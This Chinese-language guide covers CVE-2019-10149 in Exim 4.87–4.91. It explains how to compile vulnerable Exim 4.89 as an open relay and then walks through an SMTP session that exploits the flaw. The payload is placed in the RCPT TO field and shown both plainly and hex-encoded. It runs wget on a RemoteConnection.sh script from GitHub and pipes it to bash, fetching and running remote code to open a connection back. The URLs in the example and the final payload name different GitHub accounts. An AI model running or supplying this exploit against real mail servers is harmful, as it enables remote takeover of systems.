CVE-2019-10149 - Exim 4.87 < 4.91

安装易受攻击版本的 Exim 及其利用说明 已在 Ubuntu 16.04、Exim 4.89 上测试

Exim 安装

下载并解压 exim 4.89 版本

• wget https://github.com/Exim/exim/releases/download/exim-4_89/exim-4.89.tar.xz && tar -xvf exim-4.89.tar.xz

进入解压后的文件夹

• cd exim-4.89/

复制并修改必要的配置文件

• sed -e 's,^EXIM_USER. * $,EXIM_USER=exim,' Local/Makefile src/EDITME > Local/Makefile

• cp exim_monitor/EDITME Local/eximon.conf

创建 exim 用户和组

• sudo groupadd -g 31 exim

• sudo useradd -d /dev/null -c "Exim Daemon" -g exim -s /bin/false -u 31 exim

安装依赖

• sudo apt-get update
• sudo apt-get install -y make build-essential libpcre3-dev libdb-dev libxt-dev libxaw7-dev

安装 exim 4.89

• sudo make install

编辑 /usr/exim/configure 以允许中继，这样我们无需等待7天即可利用

• sudo sed -iz 's/domainlist relay_to_domains =/domainlist relay_to_domains = * /' /usr/exim/configure
• sudo sed -i '/hostlist relay_from_hosts = localhost/c\hostlist relay_from_hosts = 0.0.0.0' /usr/exim/configure
• sudo sed -i '/require verify = recipient/c#require verify = recipient' /usr/exim/configure

以 exim 用户身份运行 exim

• sudo -H -u exim /usr/exim/bin/exim -bd -d-receive

构造利用

将你的 shell 命令转换为十六进制。示例：

• /bin/sh -c “wget https://raw.githubusercontent.com/hyim0810/CVE-2019-10149/main/RemoteConnection.sh" -O - | bash
• \x2Fbin\x2Fsh\t-c\t\x22wget\t\https\x3A\x2F\x2Fraw\x2Egithubusercontent\x2Ecom\x2Fhyim0810\x2FCVE\x2D2019\x2D10149\x2Fmain\x2FRemoteConnection\x2Esh\t-O\t-\t\x7C\tbash\x22\

转换示例表：

• \t-c\ = -c
• \t= 空格
• x20 = 空格
• x7C = |
• x2F = /
• x3A = :
• x2D = -
• x3E = >
• x26 = &
• x22 = "
• x2E = .

利用方法

首先我们使用 nc 连接服务器。

• nc 192.168.0.168 25

连接成功后，我们发送 HELO。

• helo localhost
• (回复: 250 exim Hello localhost [192.168.0.168])

接下来，将发件人地址设为空。

• mail from:<>
• (回复: 250 OK)

然后，设置收件人地址，并在其中（省略号处）插入我们之前制作的payload：rcpt to:${run{...}}@localhost。

• rcpt to:<${run{\x2Fbin\x2Fsh\t-c\t\x22wget\t\https\x3A\x2F\x2Fraw\x2Egithubusercontent\x2Ecom\x2Fdarsigovrustam\x2FCVE\x2D2019\x2D10149\x2Fmaster\x2FRemoteConnection\x2Esh\t-O\t-\t\x7C\tbash\x22}}@localhost>
• (回复: 250 Accepted)

最后，我们先输入 DATA，接着输入31行，一个空行，以及一个点号。

• DATA
• Received: 1
• Received: 2
• Received: 3
• Received: 4
• Received: 5
• Received: 6
• Received: 7
• Received: 8
• Received: 9
• Received: 10
• Received: 11
• Received: 12
• Received: 13
• Received: 14
• Received: 15
• Received: 16
• Received: 17
• Received: 18
• Received: 19
• Received: 20
• Received: 21
• Received: 22
• Received: 23
• Received: 24
• Received: 25
• Received: 26
• Received: 27
• Received: 28
• Received: 29
• Received: 30
• Received: 31
• .